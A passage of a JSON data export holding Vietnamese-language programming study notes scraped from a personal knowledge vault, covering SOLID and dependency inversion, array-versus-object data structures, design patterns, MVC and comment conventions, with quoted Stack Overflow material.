và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển]]\n[[Prototype là những thuộc tính không cần tạo ra cũng có sẵn]]\n[[Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-31T14:07:00.000Z", + "id": "Wd" + }, + { + "Tiêu đề": "Bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Bộ nguyên lý SOLID có vai trò rất quan trọng khi phát triển ứng dụng và được sử dụng phổ biến trong thiết kế và lập trình hướng đối tượng. Khi sử dụng hợp lý, bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng. Lập trình viên chuyên nghiệp bắt buộc phải biết và vận dụng thành thạo các nguyên lý SOLID. Đây là bộ nguyên lý mà [sinh viên theo học các hướng/chuyên ngành phát triển ứng dụng cần biết](https://tuhocict.com/muon-thanh-lap-trinh-vien-nen-hoc-nhung-gi/). Bài viết này có mục tiêu giới thiệu bước đầu cho các bạn sinh viên các nguyên lý này để dần có ý thức áp dụng chúng khi code.\r\n\r\n## Giới thiệu chung về bộ nguyên lý SOLID\r\n\r\n![Bộ nguyên lý SOLID](https://tuhocict.com/wp-content/uploads/2019/06/B%E1%BB%99-nguy%C3%AAn-l%C3%BD-SOLID-300x169.png)\r\n\r\nKhi học lập trình hướng đối tượng (Object-Oriented Programming, OOP) trong trường, các bạn đều phải nắm chắc các _nguyên lý của OOP_. Các nguyên lý chính bao gồm tính trừu tượng (Abstraction), bao đóng (Encapsulation), đa hình (Polymorphism), kế thừa (Inheritance).\r\n\r\nSOLID, ở khía cạnh khác, lại là các _nguyên lý thiết kế_ trong OOP. Hiểu một cách đơn giản, các nguyên lý của OOP mô tả cách thức hoạt động, còn các nguyên lý SOLID mô tả cách thức vận dụng của OOP trong lập trình thực tế.\r\n\r\nViệc tuân thủ theo SOLID giúp thiết kế (và code) phần mềm dễ đọc, dễ test, uyển chuyển, dễ bảo trì. Bạn nên hiểu rằng [[Code phần mềm chỉ chiếm khoảng 1 phần 3 thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, fix lỗi, v.v.)|khâu code phần mềm chỉ chiếm khoảng 13 thời gian. Còn lại là dành cho khâu bảo trì (như thêm bớt chức năng, fix lỗi)]]. SOLID giúp ích cực lớn cho khâu này.\r\n\r\nCác nguyên lý SOLID khá khó tiêu đối với sinh viên hay thậm chí đối với lập trình viên mới vào nghề. Các [chương trình đào tạo đại học](https://tuhocict.com/xay-dung-chuong-trinh-tu-dao-tao-cong-nghe-thong-tin/) cũng thường chỉ dạy code và công nghệ chứ không chú trọng về cách vận dụng. Vì vậy, việc tự học các vấn đề này là vô cùng quan trọng đối với sinh viên theo các hướng/chuyên ngành liên quan đến phát triển ứng dụng. Việc hiểu và vận dụng SOLID cũng có thể được dùng để đo sự tiến bộ của bạn trên con đường lập trình viên.\r\n\r\nĐể nắm được SOLID, bạn bắt buộc phải nắm vững các nguyên lý và kỹ thuật lập trình hướng đối tượng của một ngôn ngữ nào đó. Nếu vẫn chưa rành về lập trình hướng đối tượng thì chưa vội đọc những nguyên lý SOLID làm gì (vì có đọc cũng chẳng hiểu).\r\n\r\n## Các nguyên lý SOLID\r\n\r\nSOLID là cách gọi tắt của một bộ năm nguyên lý sau:\r\n\r\n- S (SRP) – [Single Responsibility principle](https://en.wikipedia.org/wiki/Single_responsibility_principle)\r\n- O (OCP) – [Open-Closed principle](https://en.wikipedia.org/wiki/Open%E2%80%93closed_principle)\r\n- L (LSP) – [Liskov Substitution principle](https://en.wikipedia.org/wiki/Liskov_substitution_principle)\r\n- I (ISP) – [Interface Segregation principle](https://en.wikipedia.org/wiki/Interface_segregation_principle)\r\n- D (DIP) – [Dependency Inversion principle](https://en.wikipedia.org/wiki/Dependency_inversion_principle)\r\n\r\nTên gọi các nguyên lý này khá khó dịch sang tiếng Việt. Vì vậy ở đây chúng ta dùng nguyên bản tiếng Anh.\r\n\r\nSOLID không gắn với ngôn ngữ hoặc công nghệ cụ thể nào. Các nguyên lý SOLID là chung cho bất kỳ ngôn ngữ lập trình hướng đối tượng nào, dù là C#, Java hay C++. Tuy nhiên, cách thức thực hiện cụ thể sẽ phụ thuộc một phần vào các tính năng mà ngôn ngữ hỗ trợ.\r\n\r\nNói luôn là chúng ta sẽ không viết lại mô tả chính thức của các nguyên lý này như trong sách. Chúng ta sẽ cố diễn đạt nó bằng những từ ngữ đơn giản dễ hiểu. Các bạn cũng nên hiểu rằng đây là các _nguyên lý_, không phải _kỹ thuật_ cụ thể. Bạn hiểu nguyên lý để định hướng cho cách làm.\r\n\r\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "We" + }, + { + "Tiêu đề": "Cái trừu tượng không nên phụ thuộc vào những cái cụ thể mà những cái cụ thể nên phụ thuộc vào cái trừu tượng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Cái trừu tượng không nên phụ thuộc vào những cái cụ thể mà những cái cụ thể nên phụ thuộc vào cái trừu tượng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Nguyên lý DIP – Dependency Inversion Principle\n\nĐây là nguyên lý khó nhằn nhất của SOLID vì nó đi ngược lại cách hiểu thông thường các bạn được học trong lập trình hướng đối tượng.\n\n### Sự phụ thuộc giữa các class\n\nTrước hết cần hiểu thế nào là sự phụ thuộc (dependency) giữa các class.\n\nHiểu một cách đơn giản nhất, class B được gọi là phụ thuộc vào class A nếu trong code của B xuất hiện A (như khởi tạo, gọi phương thức, v.v.). Khi này, class A phải được xây dựng trước class B. B được xem là class _cấp cao_ hơn, A là class _cấp thấp_ hơn.\n\nNhư vậy, sự phụ thuộc tạo ra thứ tự xây dựng các class có liên quan. Các class phụ thuộc nhau như vậy không thể được xây dựng song song. Class cấp thấp phải xây dựng trước. Đây là cách thức làm việc rất quen thuộc khi học lập trình hướng đối tượng.\n\nSự phụ thuộc này cũng có hệ quả xấu. Khi class cấp thấp thay đổi có thể dẫn đến thay đổi class cấp cao. Khi thay thế class cấp thấp sẽ phải sửa code của class cấp cao.\n\n### Nguyên lý DIP\n\nNguyên lý Dependency Inversion có hai ý:\n\n1. các class cấp cao không nên phụ thuộc vào các class cấp thấp. Thay vào đó, nên cho cả hai cùng phụ thuộc vào “cái trừu tượng” (abstraction) thứ ba.\n2. “cái trừu tượng” không nên phụ thuộc vào những cái cụ thể mà nên theo chiều ngược lại, nghĩa là những cái cụ thể phải phụ thuộc vào “cái trừu tượng”.\n\nNghe rất lằng nhằng khó tiêu phải không ạ! Cả hai anh này đều đảo ngược cách suy nghĩ quen thuộc của chúng ta khi học lập trình hướng đối tượng. Chúng ta sẽ giải thích kỹ hơn qua ví dụ vận dụng dưới đây.\n\n#### * các class cấp cao không nên phụ thuộc vào các class cấp thấp\n\nVẫn tiếp tục với ví dụ class B phụ thuộc class A ở trên. Giờ chúng ta định nghĩa một interface mới, tạm đặt tên là IA, và cho A thực thi IA. Trong code của B giờ chỉ gọi đến IA mà không gọi đến A nữa. Như vậy B không còn phụ thuộc vào A mà quay sang phụ thuộc IA. B và A đã độc lập với nhau. Interface IA chính là “cái trừu tượng”, là kẻ thứ ba giúp B tránh phụ thuộc vào A; B và A là những “cái cụ thể”. Thay vì sử dụng interface, chúng ta cũng có thể sử dụng lớp trừu tượng (abstraction class) theo cách tương tự.\n\nBản chất của giải pháp này nằm ở chỗ, B và A bây giờ đưa ra một bản hợp đồng về những phương thức hay thuộc tính mà A cần phải thực hiện. B thì chỉ cần nhắm mắt sử dụng hợp đồng này (qua biến thuộc kiểu IA) mà không cần quan tâm A làm như thế nào. Cái này cũng giống như khi bạn đi mua bóng đèn trong ví dụ ở phần nguyên lý Interface Segregation ở trên. Người ta gọi quan hệ giữa B và A theo kiểu này là quan hệ qua giao diện, là một loại quan hệ gián tiếp, để phân biệt với kiểu quan hệ trực tiếp thông thường.\n\nYêu cầu thứ nhất này đảo ngược cách chúng ta cho các class tương tác so với khi học OOP.\n\n#### * “cái trừu tượng” không nên phụ thuộc vào những “cái cụ thể”\n\nVẫn ví dụ A, B và IA ở trên. Theo nguyên lý này, khi thiết kế (ví dụ, sơ đồ class) chúng ta phải định nghĩa IA (cái trừu tượng) trước hết. IA xác định tương tác giữa A và B trong tương lai. B và A (cái cụ thể) được xây dựng sau.\n\nĐiều này có nghĩa là bản thân tương tác giữa các class phải được xem xét là một phần độc lập. Các class cụ thể sau đó mới xây dựng dựa trên tương tác này. Tương tác này được xây dựng dưới dạng interface hoặc abstract class.\n\nYêu cầu thứ hai này đảo ngược cách thức xây dựng class quen thuộc khi học OOP.\n\n### Vận dụng\n\nỞ đây phát sinh một vấn đề. Do IA chỉ là một interface (hoặc lớp abstract), vậy object của A sẽ được tạo ở đâu? Vì nếu không tạo ra object của A thì ở giai đoạn runtime chắc chắn sẽ bị lỗi (dĩ nhiên rồi, làm gì có object thực sự mà chạy!). Có vài giải pháp khác nhau.\n\nCách thứ nhất là tạo ra thêm một class C chịu trách nhiệm khởi tạo cả B và A, đồng thời gán A cho IA (nằm trong B). Cách thứ hai là sử dụng kỹ thuật Dependency Injection với một IoC container (như Unity hay Ninject). Cách thứ ba là sử dụng một số kỹ thuật lập trình đặc biệt của ngôn ngữ, ví dụ trong .NET framework có thể sử dụng kỹ thuật lập trình Reflection. Cách thứ tư là sử dụng một vài mẫu thiết kế (design pattern) đặc biệt cho mục đích này như mẫu factory.\n\nNguyên lý này đòi hỏi bạn phải phân tích rất kỹ bài toán để xác định rõ tất cả các class sẽ xây dựng, vai trò và sự tương tác giữa chúng (có những anh nào, làm gì, và anh nào sử dụng anh nào). Từ đó áp dụng nguyên lý DI này để giúp phát triển đồng thời các class.\n\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-02T08:03:00.000Z", + "id": "Wf" + }, + { + "Tiêu đề": "Mảng các vật thể và mảng các mảng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Cấu trúc dữ liệu/Mảng các vật thể và mảng các mảng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "<sub>(This question is a continuation of [my previous question](https://softwareengineering.stackexchange.com/q/446480/192731))</sub>\r\n\r\nI notice that there are various ways to structure data:\r\n- Array of individual arrays\r\n- Array of dimensional arrays\r\n- Array of individual objects\r\n- Object of individual objects\r\n- Object of individual arrays\r\n- Array of individual objects of one array\r\n\r\n```js\r\narray_of_individual_arrays = [\r\n ['John Doe', 20, 60, 'A'],\r\n ['Jane Doe', 10, 52, 'B'],\r\n ['Petr Chess', 5, 24, 'F'],\r\n ['Ling Jess', 28, 43, 'A'],\r\n ['Ben Liard', 16, 51, 'B']\r\n];\r\n\r\narray_of_dimensional_arrays = [\r\n [ 'John Doe', 'Jane Doe', 'Petr Chess', 'Ling Jess', 'Ben Liard' ],\r\n [ 20 , 10 , 5 , 28 , 16 ],\r\n [ 60 , 52 , 24 , 43 , 51 ],\r\n [ 'A' , 'B' , 'F' , 'A' , B ]\r\n] \r\n\r\narray_of_individual_objects = [\r\n {\r\n 'name': 'John Doe',\r\n 'score1': '20',\r\n 'score2': '60'\r\n },\r\n {\r\n 'name': 'Jane Doe',\r\n 'score1': '10',\r\n 'score2': '52'\r\n }\r\n]\r\n\r\nobject_of_individual_objects = {\r\n 'John Doe': {\r\n 'score1': '20',\r\n 'score2': '60'\r\n },\r\n 'Jane Doe': {\r\n 'score1': '10',\r\n 'score2': '52'\r\n }\r\n}\r\n\r\nobject_of_individual_arrays = {\r\n 'John Doe': [20, 60, 'A'],\r\n 'Jane Doe': [10, 52, 'B'],\r\n 'Petr Chess': [5, 24, 'F'],\r\n 'Ling Jess': [28, 43, 'A'],\r\n 'Ben Liard': [16, 51, 'B']\r\n}\r\n\r\narray_of_individual_objects_of_one_array = [\r\n {'John Doe': [20, 60, 'A']},\r\n {'Jane Doe': [10, 52, 'B']},\r\n {'Petr Chess': [5, 24, 'F']},\r\n {'Ling Jess': [28, 43, 'A']},\r\n {'Ben Liard': [16, 51, 'B']}\r\n]\r\n```\r\n\r\nThis is my comparison:\r\n\r\n| Criteria | Array of individual arrays | Array of dimensional arrays | Array of individual objects | Object of individual objects | Object of individual arrays | Array of individual objects of one array |\r\n| --------------------------------------------------- | -------------------------- | --------------------------- | --------------------------- | ---------------------------- | --------------------------- | ---------------------------------------- |\r\n| Comprehend and manually input | OK | OK | Good | Good | OK | Good |\r\n| Compute a whole dimension | Bad | Good | Bad | Bad | Bad | Bad |\r\n| Iterate one dimension then compute other dimensions | Bad | Good | Bad | Bad | Bad | Bad |\r\n| Filter, add or remove a single record | Good | OK | Good | Good | Good | OK |\r\n| Manually navigate to a single value | OK | OK | OK | Good | Good | OK |\r\n\r\nI would like to look for existing comprehensive studies about this. For example:\r\n- What design patterns use these?\r\n- What other criteria that I miss?\r\n- Which domains they are typically used?\r\n- Is there any collection of data structure conversions between them? (Like [this article](https://medium.com/programming-essentials/how-to-convert-between-data-structures-in-javascript-8f7cbde64722 'How to Convert Between Data Structures in JavaScript | by Cristian Salcescu | Frontend Essentials | Medium'), but it limits on simple structures) \r\n\r\nOr if you want you can answer it here as well.\r\n\r\nI'm mostly use JS and Python, if that matters.\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wg" + }, + { + "Tiêu đề": "Mặc dù mảng lưu giữ thứ tự, nhưng nhiều khi ta không quan tâm đến thứ tự đó cho lắm", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Cấu trúc dữ liệu/Mặc dù mảng lưu giữ thứ tự, nhưng nhiều khi ta không quan tâm đến thứ tự đó cho lắm", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Along with all the above technical differences, I think there is a fundamental difference in the purpose and meaning of an Object and an Array.\r\n\r\n1. The properties of an object **DESCRIBE/DEFINE** the object whereas\r\n2. The elements of an array do **NOT DESCRIBE/DEFINE** the array, on the contrary the array defines what it's contents are. Do note - I am not talking about technical aspects. You can have any combinations technically but semantically each has its own purpose.\r\n\r\n- For example a card holder. Each card does **NOT DESCRIBE/DEFINE** the card-holder. But the card holder does define it's purpose - that it holds only cards.\r\n \r\n- An Object is used to represent an entity and its properties **DESCRIBE/DEFINE** the entity. Take the same example of a Card. A card has properties like color, number which **DESCRIBE/DEFINE** what the card is.\r\n \r\n\r\nFor your above example:\r\n\r\n1. Each object which represents a person **is defined by the properties** `id`, `firstName` and `lastName`.\r\n \r\n2. A list of these persons cannot be an object of objects because **each id does not describe the object of objects**. So\r\n \r\n\r\n```javascript\r\n\"users\":[\r\n {\r\n \"id\":\"id\",\r\n \"key2\":\"value2\",\r\n \"key3\":\"value3\"\r\n },\r\n {\r\n \"id\":\"id\",\r\n \"key2\":\"value2\",\r\n \"key3\":\"value3\"\r\n }\r\n]\r\n```\r\n\r\nis a better representation than\r\n\r\n```javascript\r\n\"users\": {\r\n \"id1\": {\r\n \"id\": \"id1\",\r\n \"firstname\": \"firstname1\",\r\n \"lastname\": \"lastname1\"\r\n },\r\n \"id2\": {\r\n \"id\": \"id2\",\r\n \"firstaame\": \"firstname2\",\r\n \"lastname\": \"lastname2\"\r\n }\r\n}\r\n```\r\n\r\neven though technically you can use either. I hope I was able to convey(put into words) my thinking in the right manner.\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [Array of objects vs Object of Objects](https://stackoverflow.com/a/53216882/3416774)\r\n\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wh" + }, + { + "Tiêu đề": "Mẫu thiết kế (design pattern) là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Mẫu thiết kế (design pattern) là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ![Nhập môn Design Pattern siêu tốc trong 10 phút - YouTube](https://youtu.be/eiWnblyjw58)\r\nNguồn:: [Hướng dẫn tự học Design Pattern trong C# | Tự học ICT](https://tuhocict.com/huong-dan-tu-hoc-design-pattern-trong-c/)\r\n**Tại sao phải biết Design Patterns?**\r\n\r\nNhư Kiên đã đề cập ở trên, **design patterns** **được đúc kết bằng kinh nghiệm và là cách giải quyết chung cho các vấn đề trong thiết kế phần mềm**. Chính vì vậy nếu chúng ta hiểu rõ design patterns thì khi chúng ta đối mặt một tình huống hay một vấn đề nào đó, chúng ta có thể áp dụng design patterns và **vấn đề có thể được giải quyết một cách nhanh chóng và hiệu quả nhất**.\r\n\r\nNgoài ra, nếu chúng ta áp dụng tốt design patterns, nó sẽ giúp **giải pháp của chúng ta dễ hiểu, dễ trình bày, hệ thống của chúng ta linh hoạt, dễ bảo trì, dễ test hơn**.\r\n\r\nĐối với bản thân các developer, việc hiểu rõ design patterns sẽ giúp **năng suất làm việc cải thiện, giá trị bản thân ngày càng tăng**, **đóng vai trò then chốt (key member)** trong các dự án mà mình tham gia, đó cũng là **đảm bảo cho quyền lợi, lợi ích của chúng ta** sau này.\r\n\r\nNgoài ra chúng ta cũng biết ngành lập trình là ngành có mức độ phát triển, thay đổi khá nhanh, các công nghệ, ngôn ngữ, thư viện...cập nhật liên tục cũng sẽ khiến chúng ta phải liên tục cập nhật theo. Nhưng luôn có những giá trị cốt lõi trong bất kì ngành nghề nào, và **OOP và design patterns chính là một trong các giá trị cốt lỗi trong lập trình**, nó sẽ giúp bạn vững vàng và mạnh mẽ hơn trong thời đại công nghệ này.\r\n\r\n**Vậy ai là người nên biết về Design Patterns?**\r\n\r\nDesign patterns được sử dụng rất rộng rãi trong thiết kế phần mềm, **đôi khi chúng ta đã thật sự biết đến nó và áp dụng nó vào các dự án, vào code của mình mà không nhận ra**, vì đôi khi đó là những design pattern rất đơn giản. Chính vì vậy, việc có cái nhìn tổng quát lại design patterns vô cùng bổ ích cho chúng ta - những developer.\r\n\r\nNgoài ra, trong thiết kế phần mềm nói chung và phát triển dự án nói riêng, việc tìm giải pháp và áp dụng design patterns thường được giao cho các key member, các senior developer. Do đó ngoài các senior developers cần củng cố kiến thức về design pattern, mà các junior developers, thậm chí là các bạn sinh viên, thực tập thì sự hiểu biết về design patterns là rất quan trọng và cần thiết để đóng vai trò quan trọng trong các dự án hay tổ chức mà mình tham gia.\r\nNguồn:: [Kiên's Blog - Góc .NET: Design Patterns trong các dự án thực tế - Design Patterns là gì?](https://kienchu.blogspot.com/2016/06/hoc-design-pattern-qua-cac-vi-du-thuc-te.html)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wi" + }, + { + "Tiêu đề": "Nguyên lý", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[3]\r\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-02-01T15:58:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wj" + }, + { + "Tiêu đề": "Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-02T08:03:00.000Z", + "id": "Wk" + }, + { + "Tiêu đề": "Stable = the APIs are not expected to change in a breaking way. Production ready = supports its intended usecases and doesn't contain major bugs.", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Stable = the APIs are not expected to change in a breaking way. Production ready = supports its intended usecases and doesn't contain major bugs.", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [What's the deal with std lib? : r/Deno](https://www.reddit.com/r/Deno/comments/1c2fe4j/comment/kzbe82u/?context=3)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wl" + }, + { + "Tiêu đề": "Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Thành phần chương trình/Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Chúng có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "### Không phân biệt giữa giao diện – logic – dữ liệu\r\n\r\nỞ trên có nói tới việc bạn thường xuyên nhồi nhét đủ mọi loại code vào file code-behind của form. Nếu bạn phân biệt được rạch ròi các thành phần chính của ứng dụng thì có thể mọi thứ sẽ khác.\r\n\r\nNhìn một cách chung nhất, mỗi ứng dụng thường phân biệt rõ 3 thành phần cơ bản: giao diện người dùng, logic, dữ liệu. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Do đó, không thể trộn lẫn lộn với nhau được.\r\n\r\nGiao diện người dùng được tạo ra bởi Form và các điều khiển bạn đặt trên nó. Nhiệm vụ của nó là giúp người dùng nhập dữ liệu, và hiển thị dữ liệu (đã xử lý) trở lại cho người dùng.\r\n\r\nLogic là các quy tắc chi phối việc xử lý dữ liệu. Anh này thường âm thầm đứng sau chứ ít khi lộ diện và do đó ít khi được để ý tới. Ví dụ, khi người dùng cần một danh sách email sắp xếp theo thứ tự abc. Anh logic phải làm việc này. Còn anh giao diện chỉ làm nhiệm vụ hiển thị nó ra.\r\n\r\nDữ liệu là thứ trung tâm, cả anh giao diện và logic đều phải làm việc với anh dữ liệu. Tuy nhiên, anh dữ liệu cũng đòi hỏi có nhà riêng cho nó ở. Đó là file dữ liệu, hoặc một cơ sở dữ liệu. Khi cần, dữ liệu sẽ rời nhà đến làm việc với logic và giao diện. Xong việc, dữ liệu sẽ quay về nhà ở.\r\n\r\nNhư vậy, nếu phân biệt rõ ba anh này, bạn chắc chắn sẽ thấy chúng nó không thể ở chung với nhau được. Mỗi anh cần không gian riêng cho mình.\r\n\r\n\r\nNguồn:: [[tuhocict]], [Bộ giải pháp dễ học cho lập trình winform giúp bạn làm đề tài | Tự học ICT](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wm" + }, + { + "Tiêu đề": "Model không biết đến View, View không biết đến Controller", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Thành phần chương trình/Model không biết đến View, View không biết đến Controller", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Mô hình MVC\n\nĐây là một mẫu kiến trúc (architechtural pattern) ra đời sớm nhất. MVC không được quá “trọng dụng” cho đến thời kỳ ứng dụng web “lên ngôi”. Hiện nay, MVC là mẫu kiến trúc phổ biến nhất (nếu không muốn nói là độc tôn) trong phát triển ứng dụng web.\n\nMô hình này dựa trên việc phân chia code của ứng dụng (nói chung, về thành phần giao diện) thành ba phần: Model, View, Controller. Model là nơi lưu trữ dữ liệu; View là nơi hiển thị dữ liệu của Model; Controller tiếp nhận yêu cầu từ client, ghép nối Model với View, thực hiện các xử lý cần thiết.\n\nĐiểm đặc thù của MVC ở chỗ, Model là thành phần độc lập nhất, luôn được xây dựng đầu tiên trong ứng dụng và chi phối hầu hết các thành phần khác. View được xây dựng tiếp theo nhằm hiển thị thông tin của Model cho người dùng. Controller xây dựng sau cùng để xử lý yêu cầu của người dùng và ghép nối View với Model. Trong hệ thống đó, Model không biết đến View, View không biết đến Controller.\n\n![Tương tác giữa các thành phần trong mô hình MVC](https://tuhocict.com/wp-content/uploads/2019/04/mvc-model.png)\n\n_Tương tác giữa các thành phần trong mô hình MVC_\n\nĐể đảm bảo hoạt động theo mô hình như vậy, trong mô hình MVC thường phải xây dựng thêm một thành phần gọi là Router để đảm bảo trao đổi thông tin từ View đến Controller, cũng như đảm bảo việc tiếp nhận truy vấn từ người dùng của Controller.\n\nTrong mô hình này hoàn toàn có thể áp dụng đầy đủ các nguyên lý SOLID, mẫu Repository (cho quản lý dữ liệu), các mẫu thiết kế (ví dụ, singleton hoặc mediator cho Router), sử dụng kỹ thuật tạo loosely-coupling cho Repository (để dễ dàng thay đổi thành phần truy xuất dữ liệu).\n\nNguồn:: [[tuhocict]], [Console MVC Library cho .NET (1): giới thiệu chung | Tự học ICT](https://tuhocict.com/net-console-mvc-library-1/)\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-02T08:11:00.000Z", + "id": "Wn" + }, + { + "Tiêu đề": "Block comment dành cho việc giải thích ý tưởng của code, viết doc. Line comment để debug hoặc hướng dẫn editor đọc code của mình (directive)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Block comment dành cho việc giải thích ý tưởng của code, viết doc. Line comment để debug hoặc hướng dẫn editor đọc code của mình (directive)", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Trong VS Code, dùng `/**` rồi <kbd>Enter</kbd> thay vì chỉ `/*`\r\n![VS Code tips — Quickly writing JSDoc comments in JavaScript and TypeScript - YouTube](https://youtu.be/-gaLriaslpg?si=LkZjZrY6DgcI1BIp)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + 